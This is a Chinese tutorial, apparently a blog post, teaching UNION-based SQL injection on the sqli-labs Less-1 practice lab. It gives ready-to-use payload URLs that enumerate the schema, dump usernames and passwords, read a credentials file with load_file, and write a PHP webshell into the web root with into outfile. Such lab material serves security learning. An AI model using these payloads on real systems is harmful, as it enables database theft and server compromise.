目录
一、union查询的特性
1.1、特性-1
1.2、特性-2
1.3、特性-3
二、union联合注入
2.1、让sqlib的Less-1页面显示出来2和3
2.2、MySQL中的一些函数
2.3、MySQL中的函数和union的联合使用方法
2.4、group_concat()函数
2.5、使用union和group_concat函数进行sql注入
2.6、分析注入过程
2.7、使用union获取 users 表中的cloumn_name字段名
2.8、使用union获取 user表里字段中的值
三、union注入读写文件
3.1、查看MySQL读写文件的设置
3.2、修改MySQL配置文件,实现任意位置读写
3.3、union注入读取文件(load_file)
3.3.1、读取静态文件
3.3.2、读取PHP文件
3.4、union写入文件into outfile
四、union联合注入总结
4.1、联合注入总结
4.2、文件读写注入总结
此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。
UNION联合查询的作用:把多个表中的数据联合在一起进行显示
注意:使用union查询的 select语句必须有用相同数量的字段,同时每条select 语句中的字段顺序必须相同。
第一步:创建两个结构相同的学生表tb_student1与tb_student2
mysql> create table tb_student1(
id mediumint not null auto_increment,
name varchar(20),
age tinyint unsigned default 0,
gender enum('男','女'),
subject enum('ui','java','yunwei','python'),
primary key(id)
) engine=innodb default charset=utf8;
mysql> insert into tb_student1 values (1,'悟空',255,'男','ui');
mysql> insert into tb_student1 values (2,'如来',100,'男','ui');
mysql> create table tb_student2(
id mediumint not null auto_increment,
name varchar(20),
age tinyint unsigned default 0,
gender enum('男','女'),
subject enum('ui','java','yunwei','python'),
primary key(id)
) engine=innodb default charset=utf8;
mysql> insert into tb_student2 values (2,'唐僧',30,'男','yunwei');
mysql> insert into tb_student2 values (3,'无天',40,'男','yunwei');
第二步:使用UNION进行联合查询 可以将 tb_student1 表和 tb_student2表中 的两个记录合并到一个表中,一起显示出来。
mysql> select * from tb_student1 union select * from tb_student2;
正常的语句可以都显示出来,我们不按常理出牌,我们把语句ID值改成-1:
mysql> select * from tb_student1 where id=-1 union select * from tb_student2 where id=2;
+----+--------+------+--------+---------+
| id | name | age | gender | subject |
+----+--------+------+--------+---------+
| 2 | 唐僧 | 30 | 男 | yunwei |
+----+--------+------+--------+---------+
1 row in set (0.00 sec)
小结:-1是不存在的,所以使用union查询,如果查询不到,但是也不会报错,这里只把查询到的给显示出来了。
mysql> select * from tb_student1 where id=-1 union select 1,2,3,4,5;
+----+--------+------+--------+---------+
| id | name | age | gender | subject |
+----+--------+------+--------+---------+
| 1 | 2 | 3 | 4 | 5 |
+----+--------+------+--------+---------+
2 rows in set (0.00 sec)
select 1,2,3,4,5是什么意思?
首先,select 之后可以接一串数字:1,2,3,4,5只是一个例子,这串数字并不一定要按从小到大排列,也不一定从1开始,如:
如111,22,665,99999,553,2 但是要注意,我们这个表中只有5个字段(分别是id,name,age,gender,subject)。我们在这个表中只能查询五个字段。
查询的数字是什么意思?有什么用?
我们知道正常的sql语句是
select * from tb_student1;
小结:select直接加数字时,可以不写后面的表名,那么它输出的内容就是我们select后的数字.
mysql> select 1,2,3,4,5 from tb_student1;
+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 |
+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 |
+---+---+---+---+---+
1 row in set (0.00 sec)
select * from tb_student1 where id=1 union select * from tb_student1 where id=2;
+----+--------+------+--------+---------+
| id | name | age | gender | subject |
+----+--------+------+--------+---------+
| 1 | 悟空 | 255 | 男 | ui |
| 2 | 如来 | 100 | 男 | ui |
小结:使用UNION进行联合查询相同的表 合并到一个表中,一起显示出来。
首先打开浏览器 sqlib第一关
http://192.168.83.144/sqli/Less-1/?id=1
这是我的sqlib,想知道如何下载sqlib的可以去我的上一篇博客去看,连接我放下面了。
(3条消息) 什么是 SQL 注入(SQL injection)_小gao的博客-CSDN博客
第一关数据库中的表为下图所示,我们可以看到有三个字段,分别是id username password
由下图可知,只有两个显示位 ,id显示的位置并没有显示出来(id显示不出来是因为写的代码就没有让id显示出来,无伤大雅),name 和password 显示出来了 我们可以利用这两个显示位做一些事,我们给id,name,password编号为1,2,3 ,现在我们的需求是让2,3 显示到页面上。
在HackBar中写入:
http://192.168.83.144/sqli/Less-1/?id=1' union select 1,2,3 --+
页面没有变化,原因是显示位不够了
我们输入上面的参数,数据库中执行的是:
mysql> select * from users where id =1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)
结合【1.2、特性-2】 这一小结可知 我们把 id修改成-1 就可以了。
我们先在在数据库中执行:
mysql> select * from users where id =-1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
然后在hackbar中运行
http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2,3 --+
我们在使用union联合注入的时候需要了解到一些关于MySQL的知识,才能更好的去注入。
- version(): 查询数据库的版本
- user():查询数据库的使用者
- database():数据库
- system_user():系统用户名
- session_user():连接数据库的用户名
- current_user:当前用户名
- @@datadir:读取数据库路径
- @@basedir:mysql安装路径
- group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
- load_file(): 读取文件
- into outfile: 写入文件
- ascii() :字符串的ASCII代码值
- substr(): 返回字符串的一部分
- length(): 返回字符串的长度
- sleep(): 让此语句运行N秒钟
用法也很简单,直接在函数前面加上select
mysql> select database();
mysql> select version();
既然select 1,2,3可以显示内容,select database()也能显示内容,那么我们结合起来。
http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,database(),version() --+
group_concat()函数功能:将 where 条件匹配到的多条记录连接成一个字符串。
语法:group_concat (str1, str2,...)
例如:
select table_schema,table_name from information_schema.tables where table_schema='security';
解析一下table_schema和table_name是什么意思,这两个分别表示数据库的库名和具体的表名,也可以理解为表的库名和表的表名。information_schema.tables表示所有数据库的表的集合。
+--------------+------------+
| table_schema | table_name |
+--------------+------------+
| security | emails |
| security | referers |
| security | uagents |
| security | users |
+--------------+------------+
使用group_concat()
函数 把table_name 表里面所有的内容一起显示出来
select table_schema,group_concat(table_name) from information_schema.tables where table_schema='security';
+--------------+-------------------------------+
| table_schema | group_concat(table_name) |
+--------------+-------------------------------+
| security | emails,referers,uagents,users |
+--------------+-------------------------------+
为什么要使用这个函数?因为Less-1这里显示位只有两个,而我们查到的数据不止2条,我们需求是把所有查到的表都显示出来,所以我们要用group_concat()函数连接起来作为一行显示。
把2,3 号显示位替换成我们要查的内容
http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables
where table_schema ='security' --+
此时我们查询到了 4 个表名称分别是:emails,referers,uagents,users
我们看一下Less-1的源码
我们注入是在29行这里 SELECT * FROM users WHERE id='$id' LIMIT 0,1
当前我们构造的SQL语句为
SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+' LIMIT 0,1
红色的部分就是我们构造的sql语句。
数据库中实际执行的sql语句
SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+
注意:--+把后面的 ' LIMIT 0,1 给注释掉了
我们在数据库中测试一下
mysql> SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database();
+----+----------+-------------------------------+
| id | username | password |
+----+----------+-------------------------------+
| 1 | security | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.00 sec)
发现注入成功。
我们先在Navicat打开数据库找一下users这个表名:
如果我们要从users 获取column 字段名 sql语句应该这样写
select column_name from information_schema.columns where TABLE_SCHEMA='security' and TABLE_NAME = 'users'
这里的column_name表示:字段名
information_schema.columns表示:所有数据库的字段的集合
此时我们可以看见users表中有三个字段,id,username,password
在MySQL数据库中执行
mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| security | users | id |
| security | users | username |
| security | users | password |
+--------------+------------+-------------+
用group_concat()函数把查询到的字段column_name连接起来
select table_schema,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
+--------------+------------+---------------------------+
| table_schema | table_name | group_concat(column_name) |
+--------------+------------+---------------------------+
| security | users | id,username,password |
+--------------+------------+---------------------------+
1 row in set (0.00 sec)
在浏览器中执行
http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(column_name) from information_schema.columns where table_schema =database() and table_name ='users' --+
我们在user 表中查到三个字段,分别是 id,username,password
下一步就是获取三个字段中的值。
我们首先在navicat中查看user表里字段中的值
在数据库中执行
mysql> select username,password from users;
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+
13 rows in set (0.00 sec)
用group_concat()把查询到的users 连接起来
select group_concat(username,password) from users;
在浏览器hackbar中执行
http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,password) from users--+
用户名密码 都连接到一块了,我们可以用逗号分隔
http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,',',password) from users--+
mysql> show global variables like 'secure%';
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_auth | ON |
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
2 rows in set (0.00 sec)
其中secure_file_priv 这一项:
为NULL的时候表示禁止读写文件
为 空 的时候表示允许读写
为某个路径的时候,表示只能在这个路径进行文件读写
读写文件必备条件:
修改MySQL配置文件
mysql/bin/my.ini
添加一句:
secure_file_priv=
在cmd中查看是否为空:
在 MySQL 中读取文件,使用 load_file("文件路径/名称")
http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/1.txt') --+
1231213123123就是1.txt的内容
http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc') --+
读取不到是为什么?
因为我们这个环境是php搭建的,读取php文件的时候就被php程序解析了,db-creds.inc不是php后缀,但是内容是php的。
想解决这个问题怎么办?
很简单,把我们读取到的php文件用hex函数编码一下。(hex函数可以把二进制数据转为16进制字符串)
http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,hex(load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc')) --+
我们把读取到的16进制字符串转为文本字符串,可以打开这个网站在线转换
16进制到文本字符串的转换,16进制-BeJSON.com
用法 into outfile 语句用于把表数据导出到一个文本文件中
用法: select * from users into outfile "/var/lib/mysql/123.txt";
把PHP一句话木马写入到web目录
http://127.0.0.1:8888/sqli-labs/Less-1/?id=1' union select 1,'',3 into outfile 'C:/XAMPP2/htdocs/muma/a.php' --+
写入木马后我们可以用webshell 工具连接了。(我这里用的是蚁剑)
访问之前上传的木马,确认文件目录
此时我们就已经连接到了靶机。
- 先判断是否有注入点
- order by 判断出有几个字段
- union select 求显示位
- 获取库名 database()
- 获取数据库中的表
group_concat(table_name) from information_schema.tables where table_schema=database();
- 查询出表中字段名
group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=
表名
;
- 查询字段的值 group_concat(字段名,字段名) from 表名;
1.secure_file_priv= 空
2.必须知道文件的绝对路径
3.web目录有读写入权限